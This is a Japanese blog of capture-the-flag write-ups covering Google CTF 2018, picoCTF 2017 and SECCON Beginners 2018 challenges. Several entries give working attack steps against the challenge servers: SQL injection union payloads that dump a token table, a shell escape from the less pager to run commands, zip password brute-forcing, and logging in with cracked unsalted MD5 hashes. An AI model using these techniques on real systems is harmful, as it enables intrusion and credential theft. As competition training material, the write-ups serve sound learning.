進行中の何か

主にIT系の調べたこと。やったことをまとめます。

Google CTF 2018 Beginners Quest writeup 03

GoogleCTF 2018 Beginners Questのwriteupを引き続き解いていきます。

MEDIA-DB[misc]

接続するとartist/songを登録してプレイリストを表示したりするプログラムが立ち上がる。 タイトルがMEDIA-DBって書いてるし、SQL-injectionだと思い実行。

「'」を入力してshuffle artistをするとエラーが表示され、select文の内容とDBがsqlite3だと判明する。

=== Media DB ===
1) add song
2) play artist
3) play song
4) shuffle artist
5) exit
> 1
artist name?
'
song name?
hoge
1) add song
2) play artist
3) play song
4) shuffle artist
5) exit
> 4
choosing songs from random artist: '

== new playlist ==
Traceback (most recent call last):
  File "./media-db.py", line 76, in <module>
    print_playlist("SELECT artist, song FROM media WHERE artist = '{}'".format(artist))
  File "./media-db.py", line 45, in print_playlist
    for i, res in enumerate(c.execute(query).fetchall()):
sqlite3.OperationalError: unrecognized token: "'''"

テーブル一覧を取得したいので問い合わせる。

=== Media DB ===
1) add song
2) play artist
3) play song
4) shuffle artist
5) exit
> 1
artist name?
'and'1'='0' union select null,name from sqlite_master;--
song name?
hoge
1) add song
2) play artist
3) play song
4) shuffle artist
5) exit
> 4
choosing songs from random artist: 'and'1'='0' union select null,name from sqlite_master;--

== new playlist ==
1: "media" by "None"
2: "oauth_tokens" by "None"

oauth_tokensに入っているはず!データ出力する。
# カラム一覧を取得する方法がわからなかったので
# tokenやtokensなどで総当たりしました。
# sqlite3でカラム一覧取得するクエリ文があるのかな。。。

=== Media DB ===
1) add song
2) play artist
3) play song
4) shuffle artist
5) exit
> 1
artist name?
'and'1'='0' union select null,oauth_token from oauth_tokens;--
song name?
hoge
1) add song
2) play artist
3) play song
4) shuffle artist
5) exit
> 4
choosing songs from random artist: 'and'1'='0' union select null,oauth_token from oauth_tokens;--

== new playlist ==
1: "CTF{fridge_cast_oauth_token_cahn4Quo}
" by "None"

flagはCTF{fridge_cast_oauth_token_cahn4Quo}

MOAR [pwn]

ncしろとかいてあるのでncしてみるとsocatのmanページがでてくる。
hをおすとlessコマンドであることがわかる。

# nc moar.ctfcompetition.com 1337
socat(1)                                                              socat(1)

NAME
       socat - Multipurpose relay (SOcket CAT)

 Manual page socat(1) line 1 (press h for help or q to quit)h
...skipping...

                   SUMMARY OF LESS COMMANDS

!とあわせることでコマンド実行ができるので探索開始。
/home/moar/の下にdisable_dmz.shというファイルがあるのでそれを表示して終了。

!ls -al /home/moar/
total 24
drwxr-xr-x 2 nobody nogroup 4096 Jun 29 14:13 .
drwxr-xr-x 3 nobody nogroup 4096 Jun 14 14:17 ..
-rw-r--r-- 1 nobody nogroup  220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 nobody nogroup 3771 Aug 31  2015 .bashrc
-rw-r--r-- 1 nobody nogroup  655 May 16  2017 .profile
-r-xr-xr-x 1 nobody nogroup  695 Jun 26 15:56 disable_dmz.sh
! cat /home/moar/*.sh
#!/bin/sh

# Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

echo 'Disabling DMZ using password CTF{SOmething-CATastr0phic}'
echo CTF{SOmething-CATastr0phic} > /dev/dmz

flagはCTF{SOmething-CATastr0phic}でした。

FLOPPY [misc]

foo.icoファイルが与えられる。
Forensics入門(CTF)を参考に確認していく。

exiftoolは特になにもなし。

# exiftool foo.ico 
ExifTool Version Number         : 10.97
File Name                       : foo.ico
Directory                       : .
File Size                       : 1414 bytes
File Modification Date/Time     : 2018:07:01 01:57:25+09:00
File Access Date/Time           : 2018:07:07 23:07:22+09:00
File Inode Change Date/Time     : 2018:07:01 01:57:34+09:00
File Permissions                : rw-------
Error                           : Unknown file type

binwalkしてみるとzipが含まれているとのこと!
なので抽出してファイルを確認するとフラグをゲット!

# binwalk -e foo.ico 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
765           0x2FD           Zip archive data, at least v2.0 to extract, compressed size: 123, uncompressed size: 136, name: driver.txt
956           0x3BC           Zip archive data, at least v2.0 to extract, compressed size: 214, uncompressed size: 225, name: www.com
1392          0x570           End of Zip archive
# cat _foo.ico.extracted/driver.txt 
This is the driver for the Aluminum-Key Hardware password storage device.
     CTF{qeY80sU6Ktko8BJW}

In case of emergency, run www.com

flagはCTF{qeY80sU6Ktko8BJW}でした。

Google CTF 2018 Beginners Quest writeup 02

引き続き、writeup書きつつチャレンジしていきます。

FIRMWARE [re]

ダウンロードしたらext4ファイルが取得できるので
ひとまず調べてmountする。

# fdisk -l -u challenge2.ext4 
Disk challenge2.ext4: 300 MiB, 314572800 bytes, 614400 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
# mount -o challenge2.ext4 /mnt/test/

lsを打つとそれっぽいデータがあったので
展開して終了!

# ls -al
合計 44
drwxr-xr-x 22 root root  1024  6月 22 22:54 .
drwxr-xr-x  4 root root  4096  7月  1 01:16 ..
-rw-r--r--  1 root root    40  6月 22 22:54 .mediapc_backdoor_password.gz
drwxr-xr-x  2 root root  3072  6月 22 22:54 bin
drwxr-xr-x  2 root root  1024  6月 22 22:54 boot
drwxr-xr-x  4 root root  1024  6月 22 22:54 dev
drwxr-xr-x 52 root root  4096  6月 22 22:54 etc
drwxr-xr-x  2 root root  1024  6月 22 22:54 home
drwxr-xr-x 12 root root  1024  6月 22 22:54 lib
drwxr-xr-x  2 root root  1024  6月 22 22:54 lib64
drwx------  2 root root 12288  6月 22 22:51 lost+found
drwxr-xr-x  2 root root  1024  6月 22 22:54 media
drwxr-xr-x  2 root root  1024  6月 22 22:54 mnt
drwxr-xr-x  2 root root  1024  6月 22 22:54 opt
drwxr-xr-x  2 root root  1024  6月 22 22:54 proc
drwx------  2 root root  1024  6月 22 22:54 root
drwxr-xr-x  4 root root  1024  6月 22 22:54 run
drwxr-xr-x  2 root root  3072  6月 22 22:54 sbin
drwxr-xr-x  2 root root  1024  6月 22 22:54 srv
drwxr-xr-x  2 root root  1024  6月 22 22:54 sys
drwxr-xr-x  2 root root  1024  6月 22 22:54 tmp
drwxr-xr-x 10 root root  1024  6月 22 22:54 usr
drwxr-xr-x  9 root root  1024  6月 22 22:54 var
# gunzip .mediapc_backdoor_password.gz 
# more .mediapc_backdoor_password 
CTF{I_kn0W_tH15_Fs}

FlagはCTF{I_kn0W_tH15_Fs}でした。

GATEKEEPER [re]

バイナリファイルが与えられるので実行してみる。

# ./gatekeeper
/===========================================================================\
|               Gatekeeper - Access your PC from everywhere!                |
+===========================================================================+
[ERROR] Login information missing
Usage: ./gatekeeper <username> <password>

usernameとpasswordを確認する必要があるっぽいので
ltraceしながら実行してみるとstrcmpしている部分があるのでusernameをゲット!

# ltrace ./gatekeeper user password
(省略)
strcmp("user", "0n3_W4rM")   
(省略)

usernameを「0n3_W4rM」に変更してもう一度実行してみると
もう一度strcmpしている部分を発見。
ただpasswordで入力したのに逆文字で比較されてる。

# ltrace ./gatekeeper 0n3_W4rM password
(省略)
strcmp("drowssap", "zLl1ks_d4m_T0g_I")            = -22
(省略)

そのため、比較している文字を逆にして入力するとフラグゲット!。

# ./gatekeeper 0n3_W4rM I_g0T_m4d_sk1lLz
/===========================================================================\
|               Gatekeeper - Access your PC from everywhere!                |
+===========================================================================+
 ~> Verifying.......Correct!
Welcome back!
CTF{I_g0T_m4d_sk1lLz}

FlagはCTF{I_g0T_m4d_sk1lLz}

Google CTF 2018 Beginners Quest writeup 01

6/23-24の期間で開催されていたGoogle CTF 2018!
当日は忙しくて登録しかできなかったので後からですがBeginners Questにチャレンジしました。

サイトは以下から
https://capturetheflag.withgoogle.com/

LETTER [MISC]

与えられたZIPファイルの中身はPDFファイルで
黒塗りされている文字をドラッグするだけで読めました。

Flagは​CTF{ICanReadDis}

OCR is cool [MISC]

OCR_is_cool.pngが与えられる。

内容からするとシーザー暗号っぽい。 フラグはCTF{flag}の形なので本文からそれっぽいところを見つけて
手打ちすればいいんだけどせっかくなのでOCRを試してみる!

Google DriveOCRできるらしいのでまずは画像をアップロード。
アップロードした画像を右クリックし、アプリで開く > Googleドキュメントを選択。

するとテキストでメール本文が表示されました。

あとはシーザー暗号を解読するだけ!7文字ずらすとフラグがでてきました。
が、入力しても答えが違うとでてきてしまい、 よくみてみるとOCRが完璧にできていない。。。(lがiで判定されてた)
なので結局手打ちで文字を打ち込みフラグゲット。
FlagはCTF{caesarcipherisasubstitutioncipher}

SECURITY BY OBSCURITY

password.x.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.pというめんどくさそうなファイルが与えられる。

fileで調べるとzipファイルと分かったので展開するとまたファイルが。
マトリョーシカパターンなのでひとまず全部zipと仮定して無理やり展開

# while true; do unzip `ls | head -n 1`; done;

するとpassword.x.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.aでzipから変更される。

# file password.x.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a
password.x.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a: XZ compressed data

なので今度もしばらく同じファイル形式が続くと予想して無理やり展開

# while true; do 7z x `ls | head -n 1`; done

password.xというzipファイルまで展開できたけど次はパスワードがかかっている。

なのでBrute Forceで突破すべくfcrackzipを使用。 デフォルトだと6文字から調べるけどそこまで多くないだろうと勝手に予想して1から試す。

# fcrackzip -l1 -u  password.x
# fcrackzip -l2 -u  password.x
# fcrackzip -l3 -u  password.x
# fcrackzip -l4 -u  password.x


PASSWORD FOUND!!!!: pw == asdf

あとは展開されたテキストファイルを読んで終了!
FlagはCTF{CompressionIsNotEncryption}

picoCTF 2017 Level2 writeup 03

MISC

Yarn

プログラムが渡されるけどどうすればいいかよくわからない。。。

# file yarn
yarn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=03699e31e36acb60e370f0cd555e54521356061c, not stripped

# chmod +x yarn
# ./yarn
Ain't Here

Hintを見るとstringsコマンドの長さはどうやって決める?とあるので
stringsのデフォルト4からさらに短くしてみるとflagを発見。

# strings -n 3 yarn
(省略)
UW1
l$0
D$8
D$4
[^_]
Sub
mit
_me
_fo
r_I
_am
_th
e_f
lag
(省略)

flagはSubmit_me_for_I_am_the_flag

Mystery Box

よくわからないパラメータと何やら機械の画像が渡される。
google先生で画像検索するとエニグマと発見。
エニグマシミュレータを探してきてパラメータ通りに入力。

f:id:pom_wip:20180617180702p:plain

flagはQUITEPUZZLINGINDEEDでした

picoCTF 2017 Level2 writeup 02

Cryptography

SoRandom

ホストとポート番号が与えられるのでncしてみる。

$ nc shell2017.picoctf.com 63997             
Unguessably Randomized Flag: BNZQ:3o8b2bgl0689u4aj640407963277k0fc                                                      

SoRandom.pyが動いているらしくプログラムを見てみる。

#!/usr/bin/python -u
import random,string

flag = "FLAG:"+open("flag", "r").read()[:-1]
encflag = ""
random.seed("random")
for c in flag:
  if c.islower():
    #rotate number around alphabet a random amount
    encflag += chr((ord(c)-ord('a')+random.randrange(0,26))%26 + ord('a'))
  elif c.isupper():
    encflag += chr((ord(c)-ord('A')+random.randrange(0,26))%26 + ord('A'))
  elif c.isdigit():
    encflag += chr((ord(c)-ord('0')+random.randrange(0,10))%10 + ord('0'))
  else:
    encflag += c
print "Unguessably Randomized Flag: "+encflag

flagの文字列を 一文字ずつ取り出して、randomを足しているだけっぽい。
# なんでord('a')をマイナスしてプラスしてるんだろう。。。
seedが同じであれば乱数は同じになるので復号用プログラムを作成。
といってもrandomを引くだけ!

#!/usr/bin/python -u
import random,string

flag = "BNZQ:3o8b2bgl0689u4aj640407963277k0fc"
decrypt_flag = ""
random.seed("random")
for c in flag:
  if c.islower():
    #rotate number around alphabet a random amount
    decrypt_flag += chr((ord(c)-ord('a')-random.randrange(0,26))%26 + ord('a'))
  elif c.isupper():
    decrypt_flag += chr((ord(c)-ord('A')-random.randrange(0,26))%26 + ord('A'))
  elif c.isdigit():
    decrypt_flag += chr((ord(c)-ord('0')-random.randrange(0,10))%10 + ord('0'))
  else:
    decrypt_flag += c
print decrypt_flag

flagはFLAG:0d6f1cac5615c7ae971761318430c9bbになりました。

LeakedHashes

なんかパスワードが漏れたけど大丈夫?みたいな問題
リストがダウンロードできるので見てみる。

root:be3f7de032d2e398ec542a7df71e0417
(省略)
emiko:a28f30dd072b0aa66337f37526e7efa0
(省略)

saltを入れていないただのMD5 hashであれば解けるはず!
webツールを使ってやってみるとemikoのアカウントがMD5で復号できた!
# rootはだめだったので適当に選びました。
あとはそのパスワードでncするだけ!

emiko's password:pom@shell-web:~$ nc shell2017.picoctf.com 46881                                   
enter username:                                                                                    
emiko                                                                                              
emiko's password:chumch0r3                                                                         
welcome to shady file server. would you like to access the cat ascii art database? y/n             
y                                                                                                  
     /\__/\                                                                                        
    /`    '\                                                                                       
  === 0  0 ===                                                                                     
    \  --  /    - flag is 18e27fcac2c4b21329e0b118898794c0                                         
                                                                                                   
   /        \                                                                                      
  /          \                                                                                     
 |            |                                                                                    
  \  ||  ||  /                                                                                     
   \_oo__oo_/#######o                                                                              
from http://user.xmission.com/~emailbox/ascii_cats.htm                                             

flagは18e27fcac2c4b21329e0b118898794c0でした。

Weird RSA

RSAのパラメータっぽいのが与えられる。
中国人剰余定理というものらしい。 解き方を調べて実装しました。

c=95272795986475189505518980251137003509292621140166383887854853863720692420204142448424074834657149326853553097626486371206617513769930277580823116437975487148956107509247564965652417450550680181691869432067892028368985007229633943149091684419834136214793476910417359537696632874045272326665036717324623992885
p=11387480584909854985125335848240384226653929942757756384489381242206157197986555243995335158328781970310603060671486688856263776452654268043936036556215243
q=12972222875218086547425818961477257915105515705982283726851833508079600460542479267972050216838604649742870515200462359007315431848784163790312424462439629
dp=8191957726161111880866028229950166742224147653136894248088678244548815086744810656765529876284622829884409590596114090872889522887052772791407131880103961
dq=3570695757580148093370242608506191464756425954703930236924583065811730548932270595568088372441809535917032142349986828862994856575730078580414026791444659

q_inv= 1/q % p
m1 = pow(c,dp,p)
m2 = pow(c,dq,q)
h = (q_inv*(m1-m2)) % p
m = m2 + h * q

print format(m,'x').decode('hex')

flagはTheres_more_than_one_way_to_RSAでした。

CryptographyのLevel2はこれで終わり! やはりpythonに慣れていない。。。本買うべきかな。

picoCTF 2017 Level2 writeup 01

SECCON beginnersをやる前にpicoCTF 2017を解いていました。
Level1は自分で解いてwriteup書いていなかったのでLevel2からwriteup書きます!
# というかLevel1しか解けてなかった。。。

気になった方はこちらから picoCTF 2017

Forensics

Meta Find Me

images.jpgが与えられる。
問題文にもある通り、Metaを見つけろということなのでexiftoolを実行

# exiftool image.jpg 
ExifTool Version Number         : 10.97
File Name                       : image.jpg
(中略)
Comment                         : "Your flag is flag_2_meta_4_me_<lat>_<lon>_8571. Now find the GPS coordinates of this image! (Degrees only please)"
GPS Position                    : 33 deg 0' 0.00", 160 deg 0' 0.00"

flagはGPS positionからを埋めてsubmitすればOK
flagはflag_2_meta_4_me_33_160_8571です。

Little School Bus

bmpが与えられる。 Hintをみるとleast significant bit(最下位ビット)とあるのでgoogle先生に聞いてみるとステガノグラフィー問題らしい。

が、rgbを取得して最下位ビットを取得していってもうまくいかない。。
もう少し考える。。。

SECCON BeginnersCTF 2018 Writeup 02

前回のエントリで書ききれなかったMISCのwriteup

MISC

[Warmup] plain mail

pcapが渡されるのでそこからフラグを探す。
タイトルどおり、SMTPのパケットが多い。 合計で3通メールが飛んでいる。

  • 1通目
    パス付きファイル送るよー2通目にパスかいてるよ!とのこと
220 67289bb1f069 ESMTP Exim 4.84_2 Fri, 27 Apr 2018 11:00:38 +0000
ehlo [172.19.0.3]
250-67289bb1f069 Hello client.4b [172.19.0.3]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250 HELP
mail FROM:<me@4b.local> size=103
250 OK
rcpt TO:<you@4b.local>
250 Accepted
data
354 Enter message, ending with "." on a line by itself
I will send secret information. First, I will send encrypted file. Second, I wll send you the password.
.
250 OK id=1fC17G-00005T-T0
421 67289bb1f069 lost input connection
  • 2通目
220 67289bb1f069 ESMTP Exim 4.84_2 Fri, 27 Apr 2018 11:00:40 +0000
ehlo [172.19.0.3]
250-67289bb1f069 Hello client.4b [172.19.0.3]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250 HELP
mail FROM:<me@4b.local> size=658
250 OK
rcpt TO:<you@4b.local>
250 Accepted
data
354 Enter message, ending with "." on a line by itself
Content-Type: multipart/mixed; boundary="===============0309142026791669022=="
MIME-Version: 1.0
Content-Disposition: attachment; filename="encrypted.zip"

--===============0309142026791669022==
Content-Type: application/octet-stream; Name="encrypted.zip"
MIME-Version: 1.0
Content-Transfer-Encoding: base64

UEsDBAoACQAAAOJVm0zEdBgeLQAAACEAAAAIABwAZmxhZy50eHRVVAkAA6f/4lqn/+JadXgLAAEE
AAAAAAQAAAAASsSD0p8jUFIaCtIY0yp4JcP9Nha32VYd2BSwNTG83tIdZyU4x2VJTGyLcFquUEsH
CMR0GB4tAAAAIQAAAFBLAQIeAwoACQAAAOJVm0zEdBgeLQAAACEAAAAIABgAAAAAAAEAAACkgQAA
AABmbGFnLnR4dFVUBQADp//iWnV4CwABBAAAAAAEAAAAAFBLBQYAAAAAAQABAE4AAAB/AAAAAAA=
--===============0309142026791669022==--
.
250 OK id=1fC17I-00005a-Fw
421 67289bb1f069 lost input connection

encrypted.zipをbase64エンコードして送ったよ!とのこと。
デコードしてzipファイルを取り出す。

# echo -n "UEsDBAoACQAAAOJVm0zEdBgeLQAAACEAAAAIABwAZmxhZy50eHRVVAkAA6f/4lqn/+JadXgLAAEEAAAAAAQAAAAASsSD0p8jUFIaCtIY0yp4JcP9Nha32VYd2BSwNTG83tIdZyU4x2VJTGyLcFquUEsHCMR0GB4tAAAAIQAAAFBLAQIeAwoACQAAAOJVm0zEdBgeLQAAACEAAAAIABgAAAAAAAEAAACkgQAAAABmbGFnLnR4dFVUBQADp//iWnV4CwABBAAAAAAEAAAAAFBLBQYAAAAAAQABAE4AAAB/AAAAAAA=" | base64 -d > encrypted.zip
  • 3通目
220 67289bb1f069 ESMTP Exim 4.84_2 Fri, 27 Apr 2018 11:00:42 +0000
ehlo [172.19.0.3]
250-67289bb1f069 Hello client.4b [172.19.0.3]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250 HELP
mail FROM:<me@4b.local> size=13
250 OK
rcpt TO:<you@4b.local>
250 Accepted
data
354 Enter message, ending with "." on a line by itself
_you_are_pro_
.
250 OK id=1fC17K-00005h-AC
421 67289bb1f069 lost input connection

ファイルのパスワードは_you_are_pro_と判明 あとは展開してflag.txtを読めば終わり!

フラグは ctf4b{email_with_encrypted_file}

[Warmup] Welcome

フラグは公式IRCチャンネルのトピックにありますと書いてあるので ルールのところに記載があるIRCへアクセスしてフラグゲット

フラグは ctf4b{welcome_to_seccon_beginners_ctf}

てけいさんえくすとりーむず

アクセスすると300秒以内に計算を100問解くよう求められる。
適当に作ったpythonスクリプトで解く。ヘッダー部分の除去は力技

import socket 
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect(('tekeisan-ekusutoriim.chall.beginners.seccon.jp',8690)) 
 
print s.recv(303) 
 
for i in range(1, 102): 
    data = s.recv(256) 
    print data 
    q = data.split('\n') 
    ans = str(eval(q[1].replace("=",""))) 
    print ans 
    s.sendall(ans+'\n')

100問といてフラグは ctf4b{ekusutori-mu>tekeisann>bigina-zu>2018}

Find the messages

imgファイルからメッセージを探せ!とのこと

まずはimgファイルを調査。

# file disk.img 
disk.img: DOS/MBR boot sector; partition 1 : ID=0x83, start-CHS (0x0,32,33), end-CHS (0x8,40,32), startsector 2048, 129024 sectors

なんだかマウントできそうなのでマウント位置を確認。

# fdisk -l -u disk.img 
Disk disk.img: 64 MiB, 67108864 bytes, 131072 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xad4d4cf0

Device     Boot Start    End Sectors Size Id Type
disk.img1        2048 131071  129024  63M 83 Linux

Startが2048なのでoffsetは2048*512とわかったところでマウント

mount -o loop,offset=1048576 disk.img /mnt

ディレクトリ構造はこんな感じ

./
├── lost+found
├── message1
│   └── message_1_of_3.txt
├── message2
│   └── message_2_of_3.png
└── message3

さっそくmessage_1_of_3.txtにとりかかる。
内容をみてみるとbase64エンコードされてそうな文字列なのでデコードして1つ目ゲット!

# base64 -d message_1_of_3.txt 
ctf4b{y0u_t0uchedr

2つ目のファイルは拡張子がpngなのにfileコマンドで見るとdataになっている。

# file message_2_of_3.png 
message_2_of_3.png: data

hexdumpしてみるとpngフォーマットになっていない。

# hexdump message_2_of_3.png | head -n1
0000000 5858 5858 5858 5858 0000 0d00 4849 5244

なので89 50 4E 47 0D 0A 1A 0Aに書き換えて pngファイルを開くと2つ目_a_part_0f_をゲット!

3つ目はフォルダの中が空。
ファイルがない。

削除されているのかな?と思いFTK Imagerでimgファイルを読み込んでみるが
ファイルはなし。 けどなにやらmessage_3_of_3.pdfなる文字列を発見 f:id:pom_wip:20180529210730p:plain

# foremost -t pdf disk.img 
# ls ./output/pdf/
00018946.pdf

pdfファイルを開くと3つ目のキーワードdisk_image_for3nsics}をゲット!

あわせてフラグは ctf4b{y0u_t0uchedr_a_part_0f_disk_image_for3nsics}


これで今回解けた問題のwriteupは終了です。
1ヶ月程度サーバは生きているそうなのでその間に解けなかった問題にチャレンジしたいと思います!
特にPwn頑張ろう。。。